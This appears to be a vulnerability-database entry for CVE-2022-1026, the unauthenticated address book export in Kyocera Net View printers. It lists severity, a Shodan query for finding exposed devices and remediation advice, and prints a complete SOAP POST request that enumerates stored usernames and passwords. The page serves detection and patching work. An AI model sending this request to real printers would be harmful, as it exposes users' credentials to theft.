| Title | Kyocera Net View Address Book Exposure |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication. |
| Remediation | Apply firmware updates provided by Kyocera or configure authentication for the address book export function. |
| CVSS Score | 8.6 |
| EPSS Score | 0.86782 |
| CVE ID | CVE-2022-1026 |
| CWE ID | CWE-522 |
| Shodan Query | product:"Kyocera Printer Panel" |
| Tags | cve cve2022 kyocera exposure vkev vuln |
Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.
POST /ws/km-wsdl/setting/address_book HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Content-Length: 812
Content-Type: application/soap+xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1026.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1026.pcap
N/AN/A